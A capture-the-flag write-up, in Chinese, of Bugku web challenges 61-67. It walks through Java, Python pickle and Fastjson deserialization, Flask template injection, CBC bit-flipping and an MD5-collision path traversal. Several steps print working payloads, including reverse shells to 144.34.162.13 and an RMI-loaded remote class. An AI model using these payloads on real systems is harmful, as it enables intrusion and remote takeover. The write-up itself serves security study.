Bugku-CTF-web

最近刷了一下?Bugku-CTF-web?的61-70題(平臺目前只有67),好難好難,全都是知識的盲區。各種代碼審計,各種反序列化,各種反彈shell,各種模版注入,各種字符串繞過,可以說是Web安全的精髓。學到了幾個奇技淫巧,比如PHP的passthru函數可以回顯系統命令的結果,又比如PHP的ZipArchive類可以刪除非ZIP文件,再比如fastcoll工具可以生成2個MD5一樣的文件,等等。除此之外,最令我熱血澎湃的是CBC字節翻轉。

ailx10

網絡安全優秀回答者

互聯網行業 安全攻防員

去咨詢

61、ez_java_serialize

下載附件,開始代碼審計

ysoserial?可以創建能夠在反序列化時執行命令的對象

java -jar ysoserial-all.jar CommonsCollections5 "bash -c 'bash -i >& /dev/tcp/144.34.162.13/6666 0>&1'" > payload.ser
# 測試不行java -jar ysoserial-all.jar CommonsCollections5 "nc -e /bin/bash 144.34.162.13 6666" > payload.ser
# 測試不行(參數順序問題)java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "nc 144.34.162.13 6666 -e /bin/bash" > payload.ser
# 測試OK

將生成的?payload.ser?文件進行 Base64 編碼

base64 -w 0 payload.ser > payload.b64

再經過URL編碼

import urllib.parse# 原始字符串
original_str = "xxx"
# 使用 quote 進行編碼
encoded_str = urllib.parse.quote(original_str)
print("URL編碼后:", encoded_str)

使用Burp重放

反彈shell成功,直接拿到flag

62、聰明的php

代碼審計

存在代碼執行

passthru?是 PHP 中的一個函數,用于執行外部程序并將其輸出直接傳遞到瀏覽器。

讀取flag

63、Python Pickle Unserializer

網站目錄掃描,得到線索

訪問/source得到源代碼

使用Python進行反彈shell

import pickle
import base64
import subprocessclass Exploit:def __reduce__(self):# 返回一個可調用對象和其參數return (subprocess.call, (["python3","-c",'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("144.34.162.13",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'],))# 創建 payload
exploit = Exploit()
payload = base64.b64encode(pickle.dumps(exploit)).decode()
print(payload)

使用Burp發送請求

反彈shell成功,拿到flag

64、Java Fastjson Unserialize

在HTTP響應頭中有線索

下載下來后,進行代碼審計,確定是fastjson反序列化

  • 啟動一個HTTP服務
python3 -m http.server 7777

  • 借助marshalsec項目[1],編譯一個RMI服務器
mvn clean package -DskipTests

  • javac Getshell.java編譯 class文件,進行反彈shell
// Getshell.java
import java.lang.Runtime;
import java.lang.Process;public class Getshell {static {try {Runtime rt = Runtime.getRuntime();// String[] commands = {"bash", "-c", "bash -i>& /dev/tcp/144.34.162.13/6666 0>&1"}; 這個不行String[] commands = {"nc", "144.34.162.13","6666", "-e","/bin/sh"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}
}

  • 啟動RMI服務器,監聽9999端口,并加載遠程類Getshell.class
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://144.34.162.13:7777/#Getshe
ll" 9999

使用Burp構造請求

POST /login HTTP/1.1
Host: 114.67.175.224:17828
Content-Length: 260
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Content-type: application/x-www-form-urlencoded
Accept: */*
Origin: http://114.67.175.224:17828
Referer: http://114.67.175.224:17828/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close{"user":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"pwd":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://144.34.162.13:9999/Exploit","autoCommit":true}
}

反彈shell成功,拿到flag

65、CaaS1

代碼審計

#!/usr/bin/env python3
from flask import Flask, request, render_template, render_template_string, redirect
import subprocess
import urllibapp = Flask(__name__)def blacklist(inp):blacklist = ['mro','url','join','attr','dict','()','init','import','os','system','lipsum','current_app','globals','subclasses','|','getitem','popen','read','ls','flag.txt','cycler','[]','0','1','2','3','4','5','6','7','8','9','=','+',':','update','config','self','class','%','#']for b in blacklist:if b in inp:return "Blacklisted word!"if len(inp) <= 70:return inpif len(inp) > 70:return "Input too long!"@app.route('/')
def main():return redirect('/generate')@app.route('/generate',methods=['GET','POST'])
def generate_certificate():if request.method == 'GET':return render_template('generate_certificate.html')elif request.method == 'POST':name = blacklist(request.values['name'])teamname = request.values['team_name']return render_template_string(f'<p>Haha! No certificate for {name}</p>')if __name__ == '__main__':app.run(host='0.0.0.0', port=80)

打開網站,是一個POST表單,要求name長度小于70,且需要繞過黑名單,因此需要使用team_name打配合

我連接靶場的時候,一直500報錯,但是本地執行,都是OK的

name={{g.pop["__global""s__"].__builtins__.eval(request.form.team_name)}}&team_name=__import__("os").popen("pwd").read()

第二次啟動靶場的時候成功了,做這個實驗,就要一口氣成功,中間有些錯誤,就會導致環境崩潰

直接拿到flag

name={{g.pop["__global""s__"].__builtins__.eval(request.form.team_name)}}&team_name=__import__("os").popen("cat flag.txt").read()

66、CBC

使用dirsearch目錄掃描,得到線索

dirsearch -u "http://114.67.175.224:13834/"

下載線索,是vim產生的.swp文件,使用vim -r可以打開,進行代碼審計

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Login Form</title>
<link href="static/css/style.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="static/js/jquery.min.js"></script>
<script type="text/javascript">
$(document).ready(function() {$(".username").focus(function() {$(".user-icon").css("left","-48px");});$(".username").blur(function() {$(".user-icon").css("left","0px");});$(".password").focus(function() {$(".pass-icon").css("left","-48px");});$(".password").blur(function() {$(".pass-icon").css("left","0px");});
});
</script>
</head><?php
define("SECRET_KEY", file_get_contents('/root/key'));
define("METHOD", "aes-128-cbc");
session_start();function get_random_iv(){$random_iv='';for($i=0;$i<16;$i++){$random_iv.=chr(rand(1,255));}return $random_iv;
}function login($info){$iv = get_random_iv();$plain = serialize($info);$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);$_SESSION['username'] = $info['username'];setcookie("iv", base64_encode($iv));setcookie("cipher", base64_encode($cipher));
}function check_login(){if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){$cipher = base64_decode($_COOKIE['cipher']);$iv = base64_decode($_COOKIE["iv"]);if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");$_SESSION['username'] = $info['username'];}else{die("ERROR!");}}
}function show_homepage(){if ($_SESSION["username"]==='admin'){echo '<p>Hello admin</p>';echo '<p>Flag is $flag</p>';}else{echo '<p>hello '.$_SESSION['username'].'</p>';echo '<p>Only admin can see flag</p>';}echo '<p><a href="loginout.php">Log out</a></p>';
}if(isset($_POST['username']) && isset($_POST['password'])){$username = (string)$_POST['username'];$password = (string)$_POST['password'];if($username === 'admin'){exit('<p>admin are not allowed to login</p>');}else{$info = array('username'=>$username,'password'=>$password);login($info);show_homepage();}
}else{if(isset($_SESSION["username"])){check_login();show_homepage();}else{echo '<body class="login-body"><div id="wrapper"><div class="user-icon"></div><div class="pass-icon"></div><form name="login-form" class="login-form" action="" method="post"><div class="header"><h1>Login Form</h1><span>Fill out the form below to login to my super awesome imaginary control panel.</span></div><div class="content"><input name="username" type="text" class="input username" value="Username" onfocus="this.value=\'\'" /><input name="password" type="password" class="input password" value="Password" onfocus="this.value=\'\'" /></div><div class="footer"><input type="submit" name="submit" value="Login" class="button" /></div></form></div></body>';}
}
?>
</html>

倒著推理(逼著自己多讀幾遍代碼,邏輯就通順了):

  • 需要進入show_homepage(),且$_SESSION["username"]==='admin'才能拿到flag
  • 進入login($info)check_login(),可以給$_SESSION["username"]?設置內容
  • 想要進入上面2個方法,又不能讓$username==='admin'

第一次請求:用戶名bdmin?,成功給$_SESSION["username"]賦值

序列化輸出?a:2:{s:8:"username";s:5:"bdmin";s:8:"password";s:3:"123";}

<?php
$info = array('username'=>'bdmin','password'=>'123');
echo serialize($info);// 輸出 a:2:{s:8:"username";s:5:"bdmin";s:8:"password";s:3:"123";}

CBC分組

a:2:{s:8:"userna
me";s:5:"bdmin";
s:8:"password";s
:3:"123";}

將bdmin翻轉成admin

<?php$cipher="OHOIQpTEbdNPX6RguHhsprnhpwRHeTv0Kg%2FY9A%2BbucFebWn%2F7Rr3kwsX4SA9ysvdMK4oxKnZx3Bt11NHSVoOxw%3D%3D";
$enc=base64_decode(urldecode($cipher));$enc[9] = chr(ord($enc[9]) ^ ord("b") ^ ord ("a"));
echo base64_encode($enc);
echo "\n";
echo urlencode(base64_encode($enc));
?>

輸出新的密文cipher2:

OHOIQpTEbdNPXKRguHhsprnhpwRHeTv0Kg/Y9A+bucFebWn/7Rr3kwsX4SA9ysvdMK4oxKnZx3Bt11NHSVoOxw==
OHOIQpTEbdNPXKRguHhsprnhpwRHeTv0Kg%2FY9A%2BbucFebWn%2F7Rr3kwsX4SA9ysvdMK4oxKnZx3Bt11NHSVoOxw%3D%3D

第二次請求:將bdmin改成admin

使用第一次返回的iv和新的密文cipher2:

得到明文的base64編碼,解碼之后,可以看到已經將bdmin改成admin

由于上述第二個分組翻轉導致第一個分組亂碼了,為了保證可以反序列化,需要將第一個分組所有字符(被破壞的明文),全部進行翻轉。這里iv是密文,badtext是被破壞的明文,網上很多博客寫這里的時候都會誤導。

<?php
$badtext = "Y2vl1b14EuQ+77iIbHG8JG1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjM6IjEyMyI7fQ==";
$iv = "ZdbmPjquAUFiKQhEB3JdtA%3D%3D";$badtext = base64_decode($badtext);
$iv=base64_decode(urldecode($iv));
$cleartext = 'a:2:{s:8:"username";s:5:"bdmin";s:8:"password";s:3:"123";}';
$newiv = '';
for ($i=0;$i<16;$i++){$newiv=$newiv.chr(ord($iv[$i]) ^ ord($badtext[$i]) ^ ord ($cleartext[$i]));
}
echo urlencode(base64_encode($newiv));
?>

輸出新的iv(破壞密文輸入,控制明文輸出):

Z4cx0fylKZ1m5MW%2FDnGP8Q%3D%3D

第三次請求:解決明文亂碼無法反序列化問題

使用新的iv和密文cipher2,成功拿到flag

67、noteasytrick

直接代碼審計

第一步:利用ZipArchive反序列化刪除文件./sandbox/lock.lock

<?phpclass Jesen {public $filename;public $content;public $me;
}$j1 = new Jesen();
$j1->me = new ZipArchive();
$j1->filename = "./sandbox/lock.lock";
$j1->content = ZipArchive::OVERWRITE;var_dump(serialize($j1));

輸出:

O:5:"Jesen":3:{s:8:"filename";s:19:"./sandbox/lock.lock";s:7:"content";i:8;s:2:"me";O:10:"ZipArchive":6:{s:6:"lastId";i:-1;s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:0:"";}}

通過數組繞過MD5檢查

當有s:6:"lastId";i:-1;時,發現無法刪除?./sandbox/lock.lock?文件

刪掉之后,成功刪除?./sandbox/lock.lock?文件

第二步:使用fastcoll(github上有源碼,make編譯一下就好了)制造好2個md5一樣的文件,內容是:

注意前30個字符是可讀的./../../../../../../../../flag

對這2個二進制文件進行URL編碼,并驗證這2個文件的MD5值是否相等

from urllib.parse import quote_from_bytes
import hashlibdef calculate_md5(file_path):""" 計算文件的 MD5 哈希值 """hash_md5 = hashlib.md5()with open(file_path, 'rb') as f:for chunk in iter(lambda: f.read(1024), b''):hash_md5.update(chunk)return hash_md5.hexdigest()def compare_files(file1_path, file2_path):""" 比較兩個文件的 MD5 哈希值是否一致 """# 計算第一個文件的 MD5 哈希值md5_file1 = calculate_md5(file1_path)# 計算第二個文件的 MD5 哈希值md5_file2 = calculate_md5(file2_path)# 比較兩個哈希值if md5_file1 == md5_file2:print(f"文件 {file1_path} 和 {file2_path} 的內容一致 (MD5: {md5_file1})")else:print(f"文件 {file1_path} 和 {file2_path} 的內容不一致")print(f"{file1_path} 的 MD5: {md5_file1}")print(f"{file2_path} 的 MD5: {md5_file2}")def read_and_url_encode(file_path):""" 讀取文件內容并進行 URL 編碼 """with open(file_path, 'rb') as file:content = file.read()# 使用 quote_from_bytes 對二進制數據進行 URL 編碼encoded_content = quote_from_bytes(content)return encoded_contentdef main():file1_path = 'a1.txt'file2_path = 'a2.txt'# 讀取并編碼第一個文件encoded_content1 = read_and_url_encode(file1_path)print(f"文件 {file1_path} 的 URL 編碼內容:")print(encoded_content1)# 讀取并編碼第二個文件encoded_content2 = read_and_url_encode(file2_path)print(f"文件 {file2_path} 的 URL 編碼內容:")print(encoded_content2)# 比較這2個文件的MD5值compare_files(file1_path, file2_path)if __name__ == "__main__":main()

輸出內容如下:

文件 a1.txt 的 URL 編碼內容:
./../../../../../../../../flag%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%F1z%D8%EAj%E2%B6%1D%3BC%DC%E5%5B%8Az%F0%1D%F1%FB%D2%CF%82j_%2B%86%3C-%C7%A8%13%25%90%BB%CC%02%BE%B6%0A%B1G%26%C4%FB%0C.%3Er%01%5D%29%EC%AC%C4%B5%2A%DBbep6%A5%D0%EE8K%FC%0D%FF%0D%FD%3B%7FN%7D%0A%27%D0%8AW%2AX%F4%29%16%7D%C0Y%D5%9B%F3%C0%CCY%7D%1E%89Q%16%E2%29%F7R%90_W%B5%0F%91%B9%83%E6%AE%FF%D0%5B%8F%BF%D5%1F%BF%91%9Do%90%DF%1F%C6文件 a2.txt 的 URL 編碼內容:
./../../../../../../../../flag%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%F1z%D8%EAj%E2%B6%1D%3BC%DC%E5%5B%8Az%F0%1D%F1%FBR%CF%82j_%2B%86%3C-%C7%A8%13%25%90%BB%CC%02%BE%B6%0A%B1G%26%C4%FB%0C%AE%3Er%01%5D%29%EC%AC%C4%B5%2A%DBbe%F06%A5%D0%EE8K%FC%0D%FF%0D%FD%3B%7FN%7D%0A%27%D0%8AW%2AX%F4%A9%16%7D%C0Y%D5%9B%F3%C0%CCY%7D%1E%89Q%16%E2%29%F7R%90_W%B5%0F%919%83%E6%AE%FF%D0%5B%8F%BF%D5%1F%BF%91%9D%EF%90%DF%1F%C6文件 a1.txt 和 a2.txt 的內容一致 (MD5: c554302c2bc77da0c3915181f57d118e)

這里a1對應a,a2對應b,c的話就是簡單的Jesen對象序列化

<?phpclass Jesen {public $filename;public $content;public $me;
}$j2 = new Jesen();var_dump(serialize($j2));

輸出:

O:5:"Jesen":3:{s:8:"filename";N;s:7:"content";N;s:2:"me";N;}

最后使用Burp構造請求,直接拿到flag

參考

  1. ^marshalsec?https://github.com/mbechler/marshalsec

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/910468.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/910468.shtml
英文地址,請注明出處:http://en.pswp.cn/news/910468.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

GitLab 工具如何提升我的工作效率

在當今快節奏的軟件開發和技術創作領域&#xff0c;作為一名博主&#xff0c;高效的工作流程和強大的協作工具至關重要。GitLab 作為一款集成了版本控制、項目管理、持續集成與持續部署&#xff08;CI/CD&#xff09;等功能于一體的平臺&#xff0c;為我的工作帶來了巨大的便利…

Unity Addressable使用之服務器遠程加載

本地模擬服務器加載 1、創建一個Profiles&#xff0c;將Remote設為Editor Hosted 2、在Addressables Group窗口將Profile設為Local Test 3、將某個Asset Groups設為Remote加載 4、Build資源 5、打開本地模擬服務器 Addressables Hosting 窗口是 Addressable 提供的一個內置本…

Java基礎八股文 - 面試者心理歷程與標準答案

Java基礎八股文 - 面試者心理歷程與標準答案 前言&#xff1a;如何應對Java基礎面試問題 面試Java基礎時&#xff0c;很多候選人會因為緊張而忘記平時熟悉的知識點。本文將從面試者的心理歷程出發&#xff0c;教你如何在面試中用自己的思路組織答案&#xff0c;然后給出標準回…

學習筆記088——Windows配置Tomcat自啟

1、下載 下載Windows版本tomcat。本文下載的版本是&#xff1a; apache-tomcat-9.0.31-windows-x64.zip 點擊下載 注意&#xff1a;要確保bin目錄下有 service.bat 文件&#xff01; 2、配置服務 解壓后&#xff0c;終端進入bin?錄&#xff0c;安裝服務&#xff1a;service…

SSL證書怎么配置到服務器上 ?

在網絡安全備受關注的當下&#xff0c;SSL證書已成為網站安全的標配。但僅有SSL證書還不夠&#xff0c;正確將其配置到服務器上&#xff0c;才能真正發揮保障數據傳輸安全、驗證網站身份的作用。由于服務器類型多樣&#xff0c;不同服務器的SSL證書配置方法存在差異&#xff0c…

AI與SEO關鍵詞協同進化

內容概要 人工智能&#xff08;AI&#xff09;與搜索引擎優化&#xff08;SEO&#xff09;的結合&#xff0c;正深刻變革著關鍵詞策略的制定與執行方式。本文旨在探討AI技術如何驅動SEO關鍵詞領域的智能化進化&#xff0c;核心在于利用AI強大的數據處理與模式識別能力&#xf…

01.線性代數是如何將復雜的數據結構轉化為可計算的數學問題,這個過程是如何進行的

將復雜數據結構轉化為可計算的數學問題是數據科學、機器學習和算法設計中的核心環節。這一過程需要結合數據特性、數學理論和計算框架,通過系統化的抽象和建模實現。以下是具體轉化流程及關鍵技術解析: 一、數據結構分析:解構原始數據的本質特征 1. 識別數據類型與結構特性…

華為OD機考-網上商城優惠活動-模擬(JAVA 2025B卷)

import java.util.Scanner;public class Test3 {static int mjq;static int dzq;static int wmkq;static class Group {int price;// 打折后價格int num;// 優惠券使用熟練}public static void main(String[] args) {Scanner scanner new Scanner(System.in);String input sc…

JavaScript 數據處理 - 將字符串按指定位數截斷并放入數組(基礎實現、使用正則表達式實現、使用正則表達式簡化實現)

將字符串按指定位數截斷并放入數組 1、基礎實現 /*** 將字符串按指定位數截斷并放入數組* param {string} str - 要處理的字符串* param {number} n - 每段截斷的位數* returns {Array} 截斷后的字符串數組*/ function splitStringByLength(str, n) {const result [];for (l…

python學智能算法(十四)|機器學習樸素貝葉斯方法進階-CountVectorizer文本處理簡單測試

【1】引用 前序學習文章中&#xff0c;已經對拉普拉斯平滑和簡單二元分類進行了初步探索&#xff0c;相關文章鏈接為&#xff1a; python學智能算法&#xff08;十二&#xff09;|機器學習樸素貝葉斯方法初步-拉普拉斯平滑計算條件概率-CSDN博客 python學智能算法&#xff0…

Java枚舉類的規范設計與常見錯誤規避

前言 在Java開發中&#xff0c;枚舉&#xff08;enum&#xff09;是一種強大的工具&#xff0c;用于定義一組固定常量集合。然而&#xff0c;許多開發者在使用枚舉時容易陷入設計誤區&#xff0c;導致代碼可維護性差、運行時錯誤頻發&#xff0c;甚至引發生產事故。 一、枚舉…

Vue指令v-if

目錄 一、Vue中的v-if指令是什么&#xff1f;二、v-if指令的使用 一、Vue中的v-if指令是什么&#xff1f; v-if指令是根據表達值的真假&#xff0c;切換元素的顯示和隱藏&#xff0c; 本質是通過操縱dom元素來切換顯示狀態。 注意&#xff1a; 表達式的值為true&#xff0c;元…

探秘阿里云云數據庫Tair:性能、特性與應用全景解析

引言 在數字化浪潮席卷全球的當下&#xff0c;數據已然成為企業最為關鍵的資產之一&#xff0c;如何高效管理和運用這些數據&#xff0c;成為了企業在激烈競爭中脫穎而出的關鍵。云數據庫作為現代數據管理的核心工具&#xff0c;憑借其卓越的可擴展性、靈活性以及高效的數據處…

百度大模型免費上線,學AI大模型就選近嶼智能

3月16日&#xff0c;文心大模型4.5和文心大模型X1正式發布&#xff01;目前兩款模型已免費對用戶開放。 文心大模型4.5是百度自主研發的新一代原生多模態基礎大模型&#xff0c;通過多個模態聯合建模實現協同優化&#xff0c;提高多模態理解能力&#xff0c;精進語言能力&#…

PostgreSQL 中實現跨庫連接主要有兩種解決方案

方法一&#xff1a;使用 dblink 擴展 dblink 是 PostgreSQL 的內置擴展&#xff0c;允許在一個數據庫會話中執行遠程 SQL 查詢。 步驟 1&#xff1a;在源數據庫中啟用 dblink 擴展 CREATE EXTENSION IF NOT EXISTS dblink;步驟 2&#xff1a;執行跨庫查詢 -- 簡單查詢示例&…

Qt中的布局

Qt6.8的布局管理系統&#xff0c;用于自動排列部件&#xff1a;水平布局QHBoxLayout、垂直布局QVBoxLayout、網格布局QGridLayout、表單布局QFormLayout 布局(layout)是一種優雅而靈活的方式&#xff0c;可以在其容器內自動排列子部件(child widgets)。每個部件通過sizeHint和s…

Agent成本降低46%:緩存規劃器的思路模板

論文標題 Cost-Efficient Serving of LLM Agents via Test-Time Plan Caching 論文地址 https://arxiv.org/pdf/2506.14852 作者背景 斯坦福大學 動機 大模型能力的飛速進步催收了大量 AI 智能體應用&#xff0c;它們協調多種模型、工具、工作流來解決實際復雜任務。然而…

Vue 3 + Axios 完整入門實戰指南

從入門到深入&#xff0c;手把手教你在 Vue 3 中正確使用 Axios&#xff0c;支持全局掛載、局部分離、使用 proxy 連接場景&#xff0c;適合所有前端小白和實戰設計。 大家好&#xff0c;我是石小石&#xff01;一個熱愛技術分享的開源社區貢獻者&#xff0c;小冊《油猴腳本實戰…

CppCon 2017 學習:Effective Qt: 2017 Edition

這段內容講的是 Qt 容器&#xff08;Qt Containers&#xff09;和標準庫容器&#xff08;STL Containers&#xff09;之間的選擇和背景&#xff1a; 主要觀點&#xff1a; Qt 容器的歷史背景 Qt 自身帶有一套容器類&#xff08;如 QList, QVector, QMap 等&#xff09;&#…

Pandas 核心數據結構詳解:Series 和 DataFrame 完全指南

1. 前言&#xff1a;為什么需要 Pandas 數據結構&#xff1f; 在數據處理和分析中&#xff0c;我們需要高效的方式來存儲和操作結構化數據。Python 原生的列表&#xff08;List&#xff09;和字典&#xff08;Dict&#xff09;雖然靈活&#xff0c;但缺乏針對數據分析的優化。…